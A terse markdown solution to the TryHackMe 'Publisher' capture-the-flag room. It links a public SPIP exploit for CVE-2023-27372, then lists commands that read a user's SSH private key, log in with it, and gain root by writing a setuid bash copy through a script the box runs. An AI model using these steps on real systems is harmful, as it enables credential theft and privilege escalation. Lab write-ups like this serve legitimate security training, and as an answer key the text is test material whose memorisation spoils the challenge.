publisher.md

Publisher

https://tryhackme.com/room/publisher

solution

foothold

exploit an SPIP vulnerability - https://github.com/nuts7/CVE-2023-27372

user

cat /home/think/.ssh/id_rsa

echo '<privatekey>' > id_rsa
chmod 600 id_rsa
ssh-keygen -y -f think_id_rsa > think_id_rsa.pub
ssh -i id_rsa think@ip
cat /home/think/user.txt

root

cd /dev/shm
cp /bin/bash .
./bash -p

/opt/run_container.sh

#!/bin/bash

cp /bin/bash /tmp/default
chmod +s /tmp/default

./tmp/default -p
cat /root/root.txt